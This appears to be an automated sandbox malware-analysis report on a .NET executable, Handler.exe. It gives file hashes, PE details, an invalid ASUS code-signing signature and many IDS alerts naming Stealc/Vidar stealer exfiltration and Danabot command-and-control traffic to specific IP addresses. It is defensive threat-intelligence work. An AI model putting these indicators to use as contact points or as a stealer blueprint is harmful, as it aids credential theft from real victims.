SHA1:	04B54D8C85138F36AD0D7EA32D77104C5DCD5A64
SHA-256:	4D079BDFE9DEE540C934304638E0880E8ED849A9403054168C32AD7A6A32F74F
SHA-512:	FCE6190EA075AF8CE12D39F65EB8B6F0A0206AA1E700C1579C74769D674D2087A42F68F48594D14F780A27F2C6C082EFA128A11AFCC35095B218EE2CEF09F6CF
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-ZH............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 18:18:16 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.973750662392229
Encrypted:	false
SSDEEP:	48:8/Od5jTB5GfHqeidAKZdA1hehBiZUk1W1qehEy+C:8InRN9ky
MD5:	20B32DE06B4FB1DE27DD4E69E4F3845E
SHA1:	D7D3EE4FB651A07E16381755F5DA62C8A61BB25A
SHA-256:	E85B702BC0CDB79EF8A28596673669CC8BD89FADA1F604D68C73B49F4D1F2D2D
SHA-512:	CE036527C97159736976B8166ED0553DA1C067305198F94219FCA27DFCA7F756A2FFFE36118CC6A863ABAE396F17F5C7E3CBD59C0B831380902E9D2DA5046CEC
Malicious:	false
Preview:	L..................F.@.. ...$+.,....n....e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-ZH............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 18:18:15 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.985647037221529
Encrypted:	false
SSDEEP:	48:8Xd5jTB5GfHqeidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbqy+yT+:8XnRRT/TbxWOvTbqy7T
MD5:	5DB128877A267B725A42C27D9CE73608
SHA1:	F044E67052665AC5F32B9A045949AB0E1536F01F
SHA-256:	2B49DA18CE3AECD0D5187DA856294EABDCF90CBE62CCE5BB167B8C0EBC4BC310
SHA-512:	CE843BC5E7FE144D75C406CF8899D77C4FD7EFB64661D3D454DC8A4EAB0501B0121EC671561AF581FE5B52DB5FDDCCA2D3F4FC703C71B0EBE94E0DC84B643F72
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....y..e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-ZH............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421667175349051
Encrypted:	false
SSDEEP:	6144:2Svfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNR0uhiTw:VvloTMW+EZMM6DFyr03w
MD5:	AF24034FC544A6A193D54FCFCD5E4B94
SHA1:	5840B212D1DBCEAD74480F2F8D02628D9D8BE534
SHA-256:	3815B270494D03FB81D8B8F196CB3A977C669E681B59B8D930AE4E0BA78C827D
SHA-512:	F4A901FCE9082DB1439A8E54C290E5D14A01A81A4084F2B54DE5E9F07E2F36FB6D58446633473B72341904E3B545334FBC6F30F9F97FD7D4F2F838BC33B712B9
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.(...e..............................................................................................................................................................................................................................................................................................................................................S...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.969080463663233
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Handler.exe
File size:	399'472 bytes
MD5:	9c11f8b0f55dfbcd4b67c6a56fb0f11f
SHA1:	040437d898ccf617506617f9d12b364ae8784727
SHA256:	25a15af2bab20ec576f778acfde2f027d31b2c1c389ab707360e8397724d7f66
SHA512:	5da2d3d68f5a58aa7323abfc175452ea7e5b6f94526a5f6ecb4a0aef6b2374475825abb25f42ff82f3af30e1dcf85fe5ba7778e61796f2a84152e317f016b118
SSDEEP:	12288:mfeZUvaamvY7kmA7YJCMKKvzKbkL+Kawd:AVpmQntvKKvAxBW
TLSH:	68842317038B7D36ED7249316A243F19A435F7009A27C1FB72591628AF963432BB6F6C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;.................0..D..........Nb... ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40624e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC3D3DB3B [Fri Feb 9 22:35:39 2074 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert EV Code Signing CA (SHA2), OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	08/10/2020 02:00:00 12/10/2023 14:00:00
Subject Chain	CN=ASUSTeK COMPUTER INC., O=ASUSTeK COMPUTER INC., L=Beitou District, S=Taipei City, C=TW, SERIALNUMBER=23638777, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=TW
Version:	3
Thumbprint MD5:	332CDC164B1324C3FF3F64E228C5FFFC
Thumbprint SHA-1:	CBFB3D25134A5FF6FCF2924D5B4BE16194EA7E13
Thumbprint SHA-256:	531855F05B9D55E4F6DDEBC443706382DDB9ACBD2B8AB24004822BE204420943
Serial:	0C9838F673F9B1CCE395CFAB2B6684E4

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6200	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0x598	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5f200	0x2670	.idata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x61b4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4254	0x4400	bf7682d2b25d764f15115a3479cfd1ee	False	0.4921875	data	5.789864841770327	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0x598	0x600	97b5e78dd91bc3fa97e695160eb75d4a	False	0.41015625	data	4.031118916432586	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa000	0xc	0x200	cba309bc25d9ae6bdc5b702e03a9e7ce	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0xc000	0x5a200	0x5a200	530ca58b21ecca378caa206e3bbee202	False	1.000327778259362	data	7.9994861471066185	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x80a0	0x30c	data			0.41923076923076924
RT_MANIFEST	0x83ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T20:18:06.610608+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.5	49709	116.203.11.8	443	TCP
2025-01-13T20:18:09.623230+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.5	49715	116.203.11.8	443	TCP
2025-01-13T20:18:09.623773+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.11.8	443	192.168.2.5	49715	TCP
2025-01-13T20:18:10.999225+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.11.8	443	192.168.2.5	49716	TCP
2025-01-13T20:18:53.618341+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50022	162.0.209.157	443	TCP
2025-01-13T20:19:53.015704+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50153	194.32.76.77	443	TCP
2025-01-13T20:19:54.082347+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50154	45.76.251.57	443	TCP
2025-01-13T20:19:55.151041+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50155	194.32.76.77	443	TCP
2025-01-13T20:19:56.241118+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50156	45.76.251.57	443	TCP
2025-01-13T20:20:04.770521+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50161	194.32.76.77	443	TCP
2025-01-13T20:20:06.284573+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50162	45.76.251.57	443	TCP
2025-01-13T20:20:07.358470+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50163	194.32.76.77	443	TCP
2025-01-13T20:20:08.468651+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50164	45.76.251.57	443	TCP
2025-01-13T20:20:13.851435+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50169	194.32.76.77	443	TCP
2025-01-13T20:20:13.943084+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50170	45.76.251.57	443	TCP
2025-01-13T20:20:14.046521+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50171	194.32.76.77	443	TCP
2025-01-13T20:20:14.118497+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50172	45.76.251.57	443	TCP
2025-01-13T20:20:24.230553+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50177	194.32.76.77	443	TCP
2025-01-13T20:20:25.607663+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50178	45.76.251.57	443	TCP
2025-01-13T20:20:27.120388+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50179	194.32.76.77	443	TCP
2025-01-13T20:20:28.847889+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50180	45.76.251.57	443	TCP
2025-01-13T20:20:31.925010+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50186	194.32.76.77	443	TCP
2025-01-13T20:20:33.699941+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50187	45.76.251.57	443	TCP
2025-01-13T20:20:35.791850+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50188	194.32.76.77	443	TCP
2025-01-13T20:20:38.127481+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50189	45.76.251.57	443	TCP
2025-01-13T20:20:46.985963+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50194	194.32.76.77	443	TCP
2025-01-13T20:20:47.245561+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50195	45.76.251.57	443	TCP
2025-01-13T20:20:47.309421+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50196	194.32.76.77	443	TCP
2025-01-13T20:20:47.390933+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50197	45.76.251.57	443	TCP
2025-01-13T20:20:59.025854+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50202	194.32.76.77	443	TCP
2025-01-13T20:21:00.728744+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50203	45.76.251.57	443	TCP
2025-01-13T20:21:02.343703+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50204	194.32.76.77	443	TCP
2025-01-13T20:21:04.091742+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50205	45.76.251.57	443	TCP
2025-01-13T20:21:07.450686+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50210	194.32.76.77	443	TCP
2025-01-13T20:21:10.582921+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50211	45.76.251.57	443	TCP
2025-01-13T20:21:12.243924+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50212	194.32.76.77	443	TCP
2025-01-13T20:21:14.265625+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50213	45.76.251.57	443	TCP
2025-01-13T20:21:24.931833+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50218	194.32.76.77	443	TCP
2025-01-13T20:21:25.115172+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50219	45.76.251.57	443	TCP
2025-01-13T20:21:25.190354+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50220	194.32.76.77	443	TCP
2025-01-13T20:21:25.259897+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50221	45.76.251.57	443	TCP
2025-01-13T20:21:37.531139+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50230	194.32.76.77	443	TCP
2025-01-13T20:21:39.918996+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50231	45.76.251.57	443	TCP
2025-01-13T20:21:42.320074+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50232	194.32.76.77	443	TCP
2025-01-13T20:21:44.447372+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50233	45.76.251.57	443	TCP
2025-01-13T20:21:47.720809+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50238	194.32.76.77	443	TCP
2025-01-13T20:21:50.006135+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50239	45.76.251.57	443	TCP
2025-01-13T20:21:52.386471+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50240	194.32.76.77	443	TCP
2025-01-13T20:21:54.315688+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50241	45.76.251.57	443	TCP
2025-01-13T20:22:07.071343+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50246	194.32.76.77	443	TCP
2025-01-13T20:22:07.148491+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50247	45.76.251.57	443	TCP
2025-01-13T20:22:07.207800+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50248	194.32.76.77	443	TCP
2025-01-13T20:22:07.362129+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50249	45.76.251.57	443	TCP
2025-01-13T20:22:20.363821+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50254	194.32.76.77	443	TCP
2025-01-13T20:22:22.517469+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50255	45.76.251.57	443	TCP
2025-01-13T20:22:24.571433+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50256	194.32.76.77	443	TCP
2025-01-13T20:22:27.083896+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50257	45.76.251.57	443	TCP
2025-01-13T20:22:33.105371+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50262	194.32.76.77	443	TCP
2025-01-13T20:22:35.617116+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50264	45.76.251.57	443	TCP
2025-01-13T20:22:38.426327+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50265	194.32.76.77	443	TCP
2025-01-13T20:22:40.553392+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50266	45.76.251.57	443	TCP
2025-01-13T20:22:50.591405+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50271	194.32.76.77	443	TCP
2025-01-13T20:22:51.645106+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50272	45.76.251.57	443	TCP
2025-01-13T20:22:51.696595+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50273	194.32.76.77	443	TCP
2025-01-13T20:22:51.746232+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50274	45.76.251.57	443	TCP
2025-01-13T20:22:59.064229+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50280	194.32.76.77	443	TCP
2025-01-13T20:23:00.124036+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50281	45.76.251.57	443	TCP
2025-01-13T20:23:01.192019+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50282	194.32.76.77	443	TCP
2025-01-13T20:23:02.271321+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50283	45.76.251.57	443	TCP
2025-01-13T20:23:06.560514+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50288	194.32.76.77	443	TCP
2025-01-13T20:23:07.625264+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50289	45.76.251.57	443	TCP
2025-01-13T20:23:08.703222+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50290	194.32.76.77	443	TCP
2025-01-13T20:23:09.783625+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50291	45.76.251.57	443	TCP
2025-01-13T20:23:15.141834+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50296	194.32.76.77	443	TCP
2025-01-13T20:23:15.203064+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50297	45.76.251.57	443	TCP
2025-01-13T20:23:15.259160+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50298	194.32.76.77	443	TCP
2025-01-13T20:23:15.298852+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50299	45.76.251.57	443	TCP
2025-01-13T20:23:22.714479+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50304	194.32.76.77	443	TCP
2025-01-13T20:23:23.787978+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50305	45.76.251.57	443	TCP
2025-01-13T20:23:24.848904+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50306	194.32.76.77	443	TCP
2025-01-13T20:23:25.927267+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50307	45.76.251.57	443	TCP
2025-01-13T20:23:28.177253+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50312	194.32.76.77	443	TCP
2025-01-13T20:23:29.249088+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50313	45.76.251.57	443	TCP
2025-01-13T20:23:30.309694+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50315	194.32.76.77	443	TCP
2025-01-13T20:23:31.378227+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50316	45.76.251.57	443	TCP
2025-01-13T20:23:36.805374+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50321	194.32.76.77	443	TCP
2025-01-13T20:23:36.899069+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50322	45.76.251.57	443	TCP
2025-01-13T20:23:36.967069+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50323	194.32.76.77	443	TCP
2025-01-13T20:23:37.060533+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50324	45.76.251.57	443	TCP
2025-01-13T20:23:44.434309+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50329	194.32.76.77	443	TCP
2025-01-13T20:23:45.509985+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50330	45.76.251.57	443	TCP
2025-01-13T20:23:46.574322+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50331	194.32.76.77	443	TCP
2025-01-13T20:23:47.644057+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50332	45.76.251.57	443	TCP
2025-01-13T20:23:49.926270+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50337	194.32.76.77	443	TCP
2025-01-13T20:23:50.976077+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50338	45.76.251.57	443	TCP
2025-01-13T20:23:52.039216+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50339	194.32.76.77	443	TCP
2025-01-13T20:23:53.098455+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50340	45.76.251.57	443	TCP
2025-01-13T20:23:58.450091+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50345	194.32.76.77	443	TCP
2025-01-13T20:23:59.514195+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50346	45.76.251.57	443	TCP
2025-01-13T20:23:59.566001+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50347	194.32.76.77	443	TCP
2025-01-13T20:23:59.610152+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50348	45.76.251.57	443	TCP
